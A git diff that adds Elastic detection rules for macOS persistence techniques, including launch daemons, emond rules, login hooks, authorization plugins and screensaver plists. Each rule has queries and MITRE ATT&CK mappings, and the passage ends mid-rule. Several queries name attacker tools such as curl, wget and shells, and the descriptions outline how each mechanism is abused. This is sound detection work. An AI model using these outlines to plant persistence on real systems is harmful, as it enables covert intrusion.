+ diff --git a/rules/macos/persistence_creation_modif_launch_deamon_sequence.toml b/rules/macos/persistence_creation_modif_launch_deamon_sequence.toml new file mode 100644 index 000000000..13613e533 --- /dev/null +++ b/rules/macos/persistence_creation_modif_launch_deamon_sequence.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/12/07" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Indicates the creation or modification of a launch daemon, which adversaries may use to repeatedly execute malicious +payloads as part of persistence. +""" +false_positives = ["Trusted applications persisting via LaunchDaemons"] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "LaunchDaemon Creation or Modification and Immediate Loading" +references = [ + "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", +] +risk_score = 21 +rule_id = "9d19ece6-c20e-481a-90c5-ccca596537de" +severity = "low" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=1m + [file where event.type != "deletion" and file.path in ("/System/Library/LaunchDaemons/*", "/Library/LaunchDaemons/*")] + [process where event.type in ("start", "process_started") and process.name == "launchctl" and process.args == "load"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_credential_access_authorization_plugin_creation.toml b/rules/macos/persistence_credential_access_authorization_plugin_creation.toml new file mode 100644 index 000000000..2bb4ad9a8 --- /dev/null +++ b/rules/macos/persistence_credential_access_authorization_plugin_creation.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2021/01/13" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Authorization plugins are used to extend the authorization services API and implement mechanisms that are not natively +supported by the OS, such as multi-factor authentication with third party software. Adversaries may abuse this feature +to persist and/or collect clear text credentials as they traverse the registered plugins during user logon. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Authorization Plugin Modification" +references = [ + "https://developer.apple.com/documentation/security/authorization_plug-ins", + "https://www.xorrior.com/persistent-credential-theft/", +] +risk_score = 47 +rule_id = "e6c98d38-633d-4b3e-9387-42112cd5ac10" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and not event.type:deletion and + file.path:(/Library/Security/SecurityAgentPlugins/* and + not /Library/Security/SecurityAgentPlugins/TeamViewerAuthPlugin.bundle/Contents/*) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.002" +name = "Authentication Package" +reference = "https://attack.mitre.org/techniques/T1547/002/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_defense_evasion_hidden_launch_agent_deamon_logonitem_process.toml b/rules/macos/persistence_defense_evasion_hidden_launch_agent_deamon_logonitem_process.toml new file mode 100644 index 000000000..fce77f91f --- /dev/null +++ b/rules/macos/persistence_defense_evasion_hidden_launch_agent_deamon_logonitem_process.toml @@ -0,0 +1,69 @@ +[metadata] +creation_date = "2020/01/07" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of a launchd child process with a hidden file. An adversary can establish persistence by +installing a new logon item, launch agent, or daemon that executes upon login. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Suspicious Hidden Child Process of Launchd" +references = [ + "https://objective-see.com/blog/blog_0x61.html", + "https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/", + "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", +] +risk_score = 47 +rule_id = "083fa162-e790-4d85-9aeb-4fea04188adb" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:.* and process.parent.executable:/sbin/launchd +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" +[[rule.threat.technique.subtechnique]] +id = "T1543.001" +name = "Launch Agent" +reference = "https://attack.mitre.org/techniques/T1543/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1564" +name = "Hide Artifacts" +reference = "https://attack.mitre.org/techniques/T1564/" +[[rule.threat.technique.subtechnique]] +id = "T1564.001" +name = "Hidden Files and Directories" +reference = "https://attack.mitre.org/techniques/T1564/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/persistence_directory_services_plugins_modification.toml b/rules/macos/persistence_directory_services_plugins_modification.toml new file mode 100644 index 000000000..33cd6f1da --- /dev/null +++ b/rules/macos/persistence_directory_services_plugins_modification.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2021/01/13" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation or modification of a DirectoryService PlugIns (dsplug) file. The DirectoryService daemonlaunches +on each system boot and automatically reloads after crash. It scans and executes bundles that are located in the +DirectoryServices PlugIns folder and can be abused by adversaries to maintain persistence. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Persistence via DirectoryService Plugin Modification" +references = ["https://blog.chichou.me/2019/11/21/two-macos-persistence-tricks-abusing-plugins/"] +risk_score = 47 +rule_id = "89fa6cb7-6b53-4de2-b604-648488841ab8" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and not event.type:deletion and + file.path:/Library/DirectoryServices/PlugIns/*.dsplug +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_docker_shortcuts_plist_modification.toml b/rules/macos/persistence_docker_shortcuts_plist_modification.toml new file mode 100644 index 000000000..e46352a3c --- /dev/null +++ b/rules/macos/persistence_docker_shortcuts_plist_modification.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/12/18" +maturity = "production" +updated_date = "2021/08/25" + +[rule] +author = ["Elastic"] +description = """ +An adversary can establish persistence by modifying an existing macOS dock property list in order to execute a malicious +application instead of the intended one when invoked. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Persistence via Docker Shortcut Modification" +references = [ + """ + https://github.com/specterops/presentations/raw/master/Leo%20Pitt/Hey_Im_Still_in_Here_Modern_macOS_Persistence_SO-CON2020.pdf + """, +] +risk_score = 47 +rule_id = "c81cefcb-82b9-4408-a533-3c3df549e62d" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category : file and event.action : modification and + file.path : /Users/*/Library/Preferences/com.apple.dock.plist and + not process.name : (xpcproxy or cfprefsd or plutil or jamf or PlistBuddy or InstallerRemotePluginService) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_emond_rules_file_creation.toml b/rules/macos/persistence_emond_rules_file_creation.toml new file mode 100644 index 000000000..cdf4702a1 --- /dev/null +++ b/rules/macos/persistence_emond_rules_file_creation.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2021/01/11" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation or modification of the Event Monitor Daemon (emond) rules. Adversaries may abuse this service by +writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Emond Rules Creation or Modification" +references = ["https://www.xorrior.com/emond-persistence/"] +risk_score = 47 +rule_id = "a6bf4dd4-743e-4da8-8c03-3ebd753a6c90" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + file.path : ("/private/etc/emond.d/rules/*.plist", "/etc/emon.d/rules/*.plist") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" +[[rule.threat.technique.subtechnique]] +id = "T1546.014" +name = "Emond" +reference = "https://attack.mitre.org/techniques/T1546/014/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_emond_rules_process_execution.toml b/rules/macos/persistence_emond_rules_process_execution.toml new file mode 100644 index 000000000..1246a62c0 --- /dev/null +++ b/rules/macos/persistence_emond_rules_process_execution.toml @@ -0,0 +1,72 @@ +[metadata] +creation_date = "2021/01/11" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of a suspicious child process of the Event Monitor Daemon (emond). Adversaries may abuse this +service by writing a rule to execute commands when a defined event occurs, such as system start up or user +authentication. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Emond Child Process" +references = ["https://www.xorrior.com/emond-persistence/"] +risk_score = 47 +rule_id = "3e3d15c6-1509-479a-b125-21718372157e" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "emond" and + process.name : ( + "bash", + "dash", + "sh", + "tcsh", + "csh", + "zsh", + "ksh", + "fish", + "Python", + "python*", + "perl*", + "php*", + "osascript", + "pwsh", + "curl", + "wget", + "cp", + "mv", + "touch", + "echo", + "base64", + "launchctl") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" +[[rule.threat.technique.subtechnique]] +id = "T1546.014" +name = "Emond" +reference = "https://attack.mitre.org/techniques/T1546/014/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_enable_root_account.toml b/rules/macos/persistence_enable_root_account.toml new file mode 100644 index 000000000..f760c40ac --- /dev/null +++ b/rules/macos/persistence_enable_root_account.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/01/04" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to enable the root account using the dsenableroot command. This command may be abused by adversaries +for persistence, as the root account is disabled by default. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Enable the Root Account" +references = ["https://ss64.com/osx/dsenableroot.html"] +risk_score = 47 +rule_id = "cc2fd2d0-ba3a-4939-b87f-2901764ed036" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:dsenableroot and not process.args:"-d" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" +[[rule.threat.technique.subtechnique]] +id = "T1078.003" +name = "Local Accounts" +reference = "https://attack.mitre.org/techniques/T1078/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_evasion_hidden_launch_agent_deamon_creation.toml b/rules/macos/persistence_evasion_hidden_launch_agent_deamon_creation.toml new file mode 100644 index 000000000..7f09fce05 --- /dev/null +++ b/rules/macos/persistence_evasion_hidden_launch_agent_deamon_creation.toml @@ -0,0 +1,74 @@ +[metadata] +creation_date = "2020/01/05" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a hidden launch agent or daemon. An adversary may establish persistence by installing a new +launch agent or daemon which executes at login. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Creation of Hidden Launch Agent or Daemon" +references = [ + "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", +] +risk_score = 47 +rule_id = "092b068f-84ac-485d-8a55-7dd9e006715f" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + file.path : + ( + "/System/Library/LaunchAgents/.*.plist", + "/Library/LaunchAgents/.*.plist", + "/Users/*/Library/LaunchAgents/.*.plist", + "/System/Library/LaunchDaemons/.*.plist", + "/Library/LaunchDaemons/.*.plist" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" +[[rule.threat.technique.subtechnique]] +id = "T1543.001" +name = "Launch Agent" +reference = "https://attack.mitre.org/techniques/T1543/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1564" +name = "Hide Artifacts" +reference = "https://attack.mitre.org/techniques/T1564/" +[[rule.threat.technique.subtechnique]] +id = "T1564.001" +name = "Hidden Files and Directories" +reference = "https://attack.mitre.org/techniques/T1564/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/persistence_finder_sync_plugin_pluginkit.toml b/rules/macos/persistence_finder_sync_plugin_pluginkit.toml new file mode 100644 index 000000000..15a791837 --- /dev/null +++ b/rules/macos/persistence_finder_sync_plugin_pluginkit.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/12/18" +maturity = "production" +updated_date = "2021/08/25" + +[rule] +author = ["Elastic"] +description = """ +Finder Sync plugins enable users to extend Finder’s functionality by modifying the user interface. Adversaries may abuse +this feature by adding a rogue Finder Plugin to repeatedly execute malicious payloads for persistence. +""" +false_positives = ["Trusted Finder Sync Plugins"] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Finder Sync Plugin Registered and Enabled" +references = [ + """ + https://github.com/specterops/presentations/raw/master/Leo%20Pitt/Hey_Im_Still_in_Here_Modern_macOS_Persistence_SO-CON2020.pdf + """, +] +risk_score = 47 +rule_id = "37f638ea-909d-4f94-9248-edd21e4a9906" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +type = "eql" + +query = ''' +sequence by host.id, user.id with maxspan = 5s + [process where event.type in ("start", "process_started") and process.name : "pluginkit" and process.args : "-a"] + [process where event.type in ("start", "process_started") and process.name : "pluginkit" and + process.args : "-e" and process.args : "use" and process.args : "-i" and + not process.args : + ( + "com.google.GoogleDrive.FinderSyncAPIExtension", + "com.google.drivefs.findersync", + "com.boxcryptor.osx.Rednif", + "com.adobe.accmac.ACCFinderSync", + "com.microsoft.OneDrive.FinderSync", + "com.insynchq.Insync.Insync-Finder-Integration", + "com.box.desktop.findersyncext" + ) + ] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_folder_action_scripts_runtime.toml b/rules/macos/persistence_folder_action_scripts_runtime.toml new file mode 100644 index 000000000..87f257846 --- /dev/null +++ b/rules/macos/persistence_folder_action_scripts_runtime.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/12/07" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Detects modification of a Folder Action script. A Folder Action script is executed when the folder to which it is attached has items added or removed, or when its +window is opened, closed, moved, or resized. Adversaries may abuse this feature to establish persistence by utilizing a +malicious script. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via Folder Action Script" +references = ["https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d"] +risk_score = 47 +rule_id = "c292fa52-4115-408a-b897-e14f684b3cb7" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Execution", "Persistence"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=5s + [process where event.type in ("start", "process_started", "info") and process.name == "com.apple.foundation.UserScriptService"] by process.pid + [process where event.type in ("start", "process_started") and process.name in ("osascript", "python", "tcl", "node", "perl", "ruby", "php", "bash", "csh", "zsh", "sh")] by process.parent.pid +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1037" +name = "Boot or Logon Initialization Scripts" +reference = "https://attack.mitre.org/techniques/T1037/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/macos/persistence_login_logout_hooks_defaults.toml b/rules/macos/persistence_login_logout_hooks_defaults.toml new file mode 100644 index 000000000..c3236917a --- /dev/null +++ b/rules/macos/persistence_login_logout_hooks_defaults.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/12/07" +maturity = "production" +updated_date = "2021/03/09" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the Defaults command to install a login or logoff hook in MacOS. An adversary may abuse this +capability to establish persistence in an environment by inserting code to be executed at login or logout. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via Login or Logout Hook" +references = [ + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2014/Wardle-VB2014.pdf", + "https://www.manpagez.com/man/1/defaults/", +] +risk_score = 47 +rule_id = "5d0265bf-dea9-41a9-92ad-48a8dcd05080" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.name == "defaults" and process.args == "write" and process.args in ("LoginHook", "LogoutHook") and + not process.args : + ( + "Support/JAMF/ManagementFrameworkScripts/logouthook.sh", + "Support/JAMF/ManagementFrameworkScripts/loginhook.sh", + "/Library/Application Support/JAMF/ManagementFrameworkScripts/logouthook.sh", + "/Library/Application Support/JAMF/ManagementFrameworkScripts/loginhook.sh" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1037" +name = "Boot or Logon Initialization Scripts" +reference = "https://attack.mitre.org/techniques/T1037/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" diff --git a/rules/macos/persistence_loginwindow_plist_modification.toml b/rules/macos/persistence_loginwindow_plist_modification.toml new file mode 100644 index 000000000..de9b092b1 --- /dev/null +++ b/rules/macos/persistence_loginwindow_plist_modification.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2021/01/21" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation or modification of the login window property list (plist). Adversaries may modify plist files to +run a program during system boot or user login for persistence. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Persistence via Login Hook" +note = """## Triage and analysis + +Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. This can be abused to establish or maintain persistence on a compromised system.""" +references = ["https://github.com/D00MFist/PersistentJXA/blob/master/LoginScript.js"] +risk_score = 47 +rule_id = "ac412404-57a5-476f-858f-4e8fbb4f48d8" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:"file" and not event.type:"deletion" and + file.name:"com.apple.loginwindow.plist" and + process.name:(* and not (systemmigrationd or DesktopServicesHelper or diskmanagementd or rsync or launchd or cfprefsd or xpcproxy or ManagedClient or MCXCompositor)) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.011" +name = "Plist Modification" +reference = "https://attack.mitre.org/techniques/T1547/011/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_modification_sublime_app_plugin_or_script.toml b/rules/macos/persistence_modification_sublime_app_plugin_or_script.toml new file mode 100644 index 000000000..8dfde9833 --- /dev/null +++ b/rules/macos/persistence_modification_sublime_app_plugin_or_script.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/12/23" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may create or modify the Sublime application plugins or scripts to execute a malicious payload each time the +Sublime application is started. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Sublime Plugin or Application Script Modification" +references = ["https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"] +risk_score = 21 +rule_id = "88817a33-60d3-411f-ba79-7c905d865b2a" +severity = "low" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type in ("change", "creation") and file.extension : "py" and + file.path : + ( + "/Users/*/Library/Application Support/Sublime Text*/Packages/*.py", + "/Applications/Sublime Text.app/Contents/MacOS/sublime.py" + ) and + not process.executable : + ( + "/Applications/Sublime Text*.app/Contents/MacOS/Sublime Text*", + "/usr/local/Cellar/git/*/bin/git", + "/usr/libexec/xpcproxy", + "/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper", + "/Applications/Sublime Text.app/Contents/MacOS/plugin_host" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1554" +name = "Compromise Client Software Binary" +reference = "https://attack.mitre.org/techniques/T1554/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_periodic_tasks_file_mdofiy.toml b/rules/macos/persistence_periodic_tasks_file_mdofiy.toml new file mode 100644 index 000000000..70f528ef7 --- /dev/null +++ b/rules/macos/persistence_periodic_tasks_file_mdofiy.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2021/01/21" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation or modification of the default configuration for periodic tasks. Adversaries may abuse periodic +tasks to execute malicious code or maintain persistence. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Persistence via Periodic Tasks" +references = [ + "https://opensource.apple.com/source/crontabs/crontabs-13/private/etc/defaults/periodic.conf.auto.html", + "https://www.oreilly.com/library/view/mac-os-x/0596003706/re328.html", + "https://github.com/D00MFist/PersistentJXA/blob/master/PeriodicPersist.js", +] +risk_score = 21 +rule_id = "48ec9452-e1fd-4513-a376-10a1a26d2c83" +severity = "low" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:"file" and not event.type:"deletion" and + file.path:(/private/etc/periodic/* or /private/etc/defaults/periodic.conf or /private/etc/periodic.conf) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +name = "Scheduled Task/Job" +reference = "https://attack.mitre.org/techniques/T1053/" +[[rule.threat.technique.subtechnique]] +id = "T1053.003" +name = "Cron" +reference = "https://attack.mitre.org/techniques/T1053/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_screensaver_engine_unexpected_child_process.toml b/rules/macos/persistence_screensaver_engine_unexpected_child_process.toml new file mode 100644 index 000000000..b9b10e684 --- /dev/null +++ b/rules/macos/persistence_screensaver_engine_unexpected_child_process.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2021/10/05" +maturity = "production" +updated_date = "2021/10/05" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a child process is spawned by the screensaver engine process, which is consistent with an attacker's +malicious payload being executed after the screensaver activated on the endpoint. An adversary can maintain persistence +on a macOS endpoint by creating a malicious screensaver (.saver) file and configuring the screensaver plist file to +execute code each time the screensaver is activated. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Unexpected Child Process of macOS Screensaver Engine" +note = """## Triage and analysis + +- Analyze the descendant processes of the ScreenSaverEngine process for malicious code and suspicious behavior such +as a download of a payload from a server. +- Review the installed and activated screensaver on the host. Triage the screensaver (.saver) file that was triggered to +identify whether the file is malicious or not. +""" +references = [ + "https://posts.specterops.io/saving-your-access-d562bf5bf90b", + "https://github.com/D00MFist/PersistentJXA", +] +risk_score = 47 +rule_id = "48d7f54d-c29e-4430-93a9-9db6b5892270" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.parent.name == "ScreenSaverEngine" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1546/" +name = "Event Triggered Execution" +id = "T1546" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/macos/persistence_screensaver_plist_file_modification.toml b/rules/macos/persistence_screensaver_plist_file_modification.toml new file mode 100644 index 000000000..e68973b72 --- /dev/null +++ b/rules/macos/persistence_screensaver_plist_file_modification.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2021/10/05" +maturity = "production" +updated_date = "2021/10/05" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a screensaver plist file is modified by an unexpected process. An adversary can maintain persistence on +a macOS endpoint by creating a malicious screensaver (.saver) file and configuring the screensaver plist file to execute +code each time the screensaver is activated. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Screensaver Plist File Modified by Unexpected Process" +note = """## Triage and analysis + +- Analyze the plist file modification event to identify whether the change was expected or not +- Investigate the process that modified the plist file for malicious code or other suspicious behavior +- Identify if any suspicious or known malicious screensaver (.saver) files were recently written to or modified on the host""" +references = [ + "https://posts.specterops.io/saving-your-access-d562bf5bf90b", + "https://github.com/D00MFist/PersistentJXA", +] +risk_score = 47 +rule_id = "e6e8912f-283f-4d0d-8442-e0dcaf49944b" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + file.name: "com.apple.screensaver.*.plist" and + file.path : ( + "/Users/*/Library/Preferences/ByHost/*", + "/Library/Managed Preferences/*", + "/System/Library/Preferences/*" + ) and + /* Filter OS processes modifying screensaver plist files */ + not process.executable : ( + "/usr/sbin/cfprefsd", + "/usr/libexec/xpcproxy", + "/System/Library/CoreServices/ManagedClient.app/Contents/Resources/MCXCompositor", + "/System/Library/CoreServices/ManagedClient.app/Contents/MacOS/ManagedClient" + ) +''' + + +[[rule.threat]] +framework = 